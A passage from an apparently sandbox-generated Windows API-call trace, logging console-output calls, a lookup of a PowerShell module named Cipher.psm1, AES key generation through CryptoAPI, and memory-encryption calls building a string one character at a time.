lpCs=0x99ae364) returned 0 [0136.919] GetConsoleOutputCP () returned 0x1b5 [0136.919] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0136.920] GetConsoleOutputCP () returned 0x1b5 [0136.920] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.920] GetConsoleOutputCP () returned 0x1b5 [0136.920] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.920] GetConsoleOutputCP () returned 0x1b5 [0136.920] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0136.920] GetConsoleOutputCP () returned 0x1b5 [0136.921] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0136.921] GetConsoleOutputCP () returned 0x1b5 [0136.921] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.921] GetConsoleOutputCP () returned 0x1b5 [0136.921] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.921] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0136.922] GetConsoleOutputCP () returned 0x1b5 [0136.922] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0136.922] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0136.922] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69f5a0c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x69f5a0c*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0136.923] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0136.923] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0136.927] GetConsoleOutputCP () returned 0x1b5 [0136.927] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0136.927] GetConsoleOutputCP () returned 0x1b5 [0136.928] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0136.928] GetConsoleOutputCP () returned 0x1b5 [0136.928] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0136.928] GetConsoleOutputCP () returned 0x1b5 [0136.928] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0136.928] GetConsoleOutputCP () returned 0x1b5 [0136.929] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.929] GetConsoleOutputCP () returned 0x1b5 [0136.929] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.929] GetConsoleOutputCP () returned 0x1b5 [0136.929] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.929] GetConsoleOutputCP () returned 0x1b5 [0136.930] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.930] GetConsoleOutputCP () returned 0x1b5 [0136.930] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.930] GetConsoleOutputCP () returned 0x1b5 [0136.930] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.930] GetConsoleOutputCP () returned 0x1b5 [0136.930] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.930] GetConsoleOutputCP () returned 0x1b5 [0136.931] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.931] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0136.931] GetConsoleOutputCP () returned 0x1b5 [0136.931] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0136.931] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0136.932] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69f6464*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x69f6464*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0136.932] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0136.932] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0136.936] GetConsoleOutputCP () returned 0x1b5 [0136.936] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.936] GetConsoleOutputCP () returned 0x1b5 [0136.937] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.937] GetConsoleOutputCP () returned 0x1b5 [0136.937] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.937] GetConsoleOutputCP () returned 0x1b5 [0136.937] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.937] GetConsoleOutputCP () returned 0x1b5 [0136.937] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.937] GetConsoleOutputCP () returned 0x1b5 [0136.938] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.938] GetConsoleOutputCP () returned 0x1b5 [0136.938] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.938] GetConsoleOutputCP () returned 0x1b5 [0136.938] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.938] GetConsoleOutputCP () returned 0x1b5 [0136.939] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.939] GetConsoleOutputCP () returned 0x1b5 [0136.939] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.939] GetConsoleOutputCP () returned 0x1b5 [0136.940] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.940] GetConsoleOutputCP () returned 0x1b5 [0136.940] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.940] GetConsoleOutputCP () returned 0x1b5 [0136.940] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.940] GetConsoleOutputCP () returned 0x1b5 [0136.941] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.941] GetConsoleOutputCP () returned 0x1b5 [0136.941] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.941] GetConsoleOutputCP () returned 0x1b5 [0136.941] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.941] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0136.942] GetConsoleOutputCP () returned 0x1b5 [0136.942] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0136.942] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0136.942] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69f8270*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x69f8270*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0136.943] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0136.943] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0136.946] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.946] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.946] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.946] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0136.946] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.946] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.946] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.947] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0136.947] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0136.947] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.947] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.947] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.948] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e02828) returned 1 [0136.948] CryptGenKey (in: hProv=0x8e02828, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84df8) returned 1 [0136.948] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.948] CryptExportKey (in: hKey=0x8e84df8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0136.948] CryptExportKey (in: hKey=0x8e84df8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a01b6c, pdwDataLen=0x99ae894 | out: pbData=0x6a01b6c*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0136.948] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x1afc\x6a0\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\x1200\x64b\x9e") returned 0x0 [0136.949] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.949] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.949] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.949] SysStringLen (param_1="") returned 0x8 [0136.949] SysStringLen (param_1="g") returned 0x8 [0136.949] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.949] SysStringLen (param_1="\xca81\x8b88\xb442\x800f\xea7e\xe9a\xa035\x3c02") returned 0x8 [0136.949] SysStringLen (param_1="\xca81\x8b88\xb442\x800f\xea7e\xe9a\xa035\x3c02") returned 0x8 [0136.949] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.949] SysStringLen (param_1="gh") returned 0x8 [0136.949] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.949] SysStringLen (param_1="᭱䍃池렞峒蝾긛") returned 0x8 [0136.949] SysStringLen (param_1="᭱䍃池렞峒蝾긛") returned 0x8 [0136.949] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.950] SysStringLen (param_1="ghL") returned 0x8 [0136.950] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.950] SysStringLen (param_1="\xcc26\xf3e7\x7315\xd1d8\x3908\x2460\xce9\xaf9b") returned 0x8 [0136.950] SysStringLen (param_1="\xcc26\xf3e7\x7315\xd1d8\x3908\x2460\xce9\xaf9b") returned 0x8 [0136.950] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.950] SysStringLen (param_1="ghL4") returned 0x8 [0136.950] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.950] SysStringLen (param_1="\x3bef\x3232\xec20\xa38f\xa696\x5d4a\x84c0\x6dd9") returned 0x8 [0136.950] SysStringLen (param_1="\x3bef\x3232\xec20\xa38f\xa696\x5d4a\x84c0\x6dd9") returned 0x8 [0136.950] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.950] SysStringLen (param_1="ghL4Q") returned 0x8 [0136.950] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.950] SysStringLen (param_1="\x6ec0\x7d41\x154e\xc942\xf94\x671c\x9af\xd876") returned 0x8 [0136.950] SysStringLen (param_1="\x6ec0\x7d41\x154e\xc942\xf94\x671c\x9af\xd876") returned 0x8 [0136.950] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.950] SysStringLen (param_1="ghL4QJ") returned 0x8 [0136.950] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.950] SysStringLen (param_1="\xeea9\xff0b\xf0f\x2508\x2e28\x892d\x8e85\x38b1") returned 0x8 [0136.950] SysStringLen (param_1="\xeea9\xff0b\xf0f\x2508\x2e28\x892d\x8e85\x38b1") returned 0x8 [0136.950] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.951] SysStringLen (param_1="ghL4QJA") returned 0x8 [0136.951] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.951] SysStringLen (param_1="\x20f5\x6f69\xab90\x7972\xbfca\x16a9\x86c4\x19cd") returned 0x8 [0136.951] SysStringLen (param_1="\x20f5\x6f69\xab90\x7972\xbfca\x16a9\x86c4\x19cd") returned 0x8 [0136.951] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.951] SysStringLen (param_1="ghL4QJAV") returned 0x8 [0136.951] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.951] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977") returned 0x8 [0136.951] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977") returned 0x8 [0136.951] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977") returned 0x8 [0136.951] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977") returned 0x10 [0136.951] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.951] SysStringLen (param_1="ghL4QJAV9暷쉷䗕妤") returned 0x10 [0136.951] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.951] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x9eb7\xe734\x3527\xc56d\x6acd\xf8a5\x3686\xdecb") returned 0x10 [0136.951] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x9eb7\xe734\x3527\xc56d\x6acd\xf8a5\x3686\xdecb") returned 0x10 [0136.951] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.951] SysStringLen (param_1="ghL4QJAV9o暷쉷䗕妤") returned 0x10 [0136.951] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.951] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\xcbfb\xbccb\xcbcb\xb93d\x8a01\xb1c4\xbbbc\xa53a") returned 0x10 [0136.951] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\xcbfb\xbccb\xcbcb\xb93d\x8a01\xb1c4\xbbbc\xa53a") returned 0x10 [0136.951] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.952] SysStringLen (param_1="ghL4QJAV9oG쉷䗕妤") returned 0x10 [0136.952] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.952] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\xedc8\x28a7\xdd2f\xaa4a\x98dd\x153a\x58d\x821a") returned 0x10 [0136.952] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\xedc8\x28a7\xdd2f\xaa4a\x98dd\x153a\x58d\x821a") returned 0x10 [0136.952] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.952] SysStringLen (param_1="ghL4QJAV9oGD䗕妤") returned 0x10 [0136.952] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.952] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x2966\x28d8\x6017\x95d4\xcc\x41d\x4cbb\x4240") returned 0x10 [0136.952] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x2966\x28d8\x6017\x95d4\xcc\x41d\x4cbb\x4240") returned 0x10 [0136.952] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.952] SysStringLen (param_1="ghL4QJAV9oGD0䗕妤") returned 0x10 [0136.952] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.952] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\xcbdf\xf37b\x6dde\x49bd\x139d\xf692\xc827\x5f5") returned 0x10 [0136.952] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\xcbdf\xf37b\x6dde\x49bd\x139d\xf692\xc827\x5f5") returned 0x10 [0136.952] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.952] SysStringLen (param_1="ghL4QJAV9oGD0B䗕妤") returned 0x10 [0136.952] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.952] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x2def\x5dc5\xeef1\x2dcd\x6994\xf8f4\x328\xb702") returned 0x10 [0136.952] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x2def\x5dc5\xeef1\x2dcd\x6994\xf8f4\x328\xb702") returned 0x10 [0136.952] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.953] SysStringLen 